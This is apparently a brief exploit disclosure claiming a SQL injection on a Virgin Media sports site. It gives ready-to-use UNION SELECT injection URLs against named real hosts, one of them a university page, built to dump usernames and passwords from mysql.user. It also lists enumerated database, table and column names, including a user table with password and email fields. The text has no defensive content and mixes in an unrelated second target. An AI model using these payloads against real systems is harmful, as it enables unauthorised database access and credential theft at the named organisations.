Virgin Media SQL Injection

`-----------------------------------------------------------------------------------------------  
  
[+] Virginmedia.com suffers from a remote SQL injection vulnerability  
[+] Author: Rohit Bansal  
  
---------------------------------------------------------------------------------------  
<http://www.iitkgp.ac.in/news/showannouncedescr.php?newsid=334+and+1=0+%20and%201=0%20Union%20Select%20%201%20,%20convert%28concat%28user,0x3a,password%29%20using%20latin1%29%20,3,4,5,6,7,8,9,10,11,12+from+mysql.user+-->Host  
Information  
  
Server = Apache/2.2.2 (Fedora)  
Version = 5.0.22-standard-log  
Powered by = PHP/5.1.6  
Current User = [email protected]  
Current Database = WorldSports2  
Supports Union = yes  
Union Columns = 10  
  
Url| http://othersports.virginmedia.com/minorsports/news.php?id=25418  
  
Vuln:  
http://othersports.virginmedia.com/minorsports/news.php?id=25418+and+1=0+and  
1=0 Union Select 1 ,2, UNHEX(HEX([visible])) ,4,5,6,7,8,9,10  
  
Comment: --  
  
Visible Column: 3  
  
Hexed: True  
  
Cookie:  
  
Keyword:  
  
Param:  
  
Database:mysql  
information_schema  
AFC1  
AusOpen  
ESPN_News  
ESPNdeportes  
EuropeanLeagues  
FAPL  
Greyhounds  
MatchLive2  
MatchLive_Cup  
OscarsQuizContent  
PABrits  
PAOscars  
PAShowbiz  
Platform  
QuizContent  
RolandGarros2007  
Rugby  
Three  
US_Sports  
WAPStats  
WorldCup  
WorldSports  
WorldSports2  
cricket  
mysql  
optus_tennis  
pa_tennis  
pccw_facup  
pslvodacom  
umusic  
universal  
us_open  
  
Tables:user  
columns_priv  
db  
func  
help_category  
help_keyword  
help_relation  
help_topic  
host  
proc  
procs_priv  
tables_priv  
time_zone  
time_zone_leap_second  
time_zone_name  
time_zone_transition  
time_zone_transition_type  
user  
  
Columns: Table user  
Username  
Password  
DateStamp  
Status  
userid  
name  
email  
location  
  
  
---------------------------------------------------------------------------------------  
[+]^Rohit Bansal [[email protected]]  
[+] Schap.org, Infysec,Evilfinger  
---------------------------------------------------------------------------------------  
`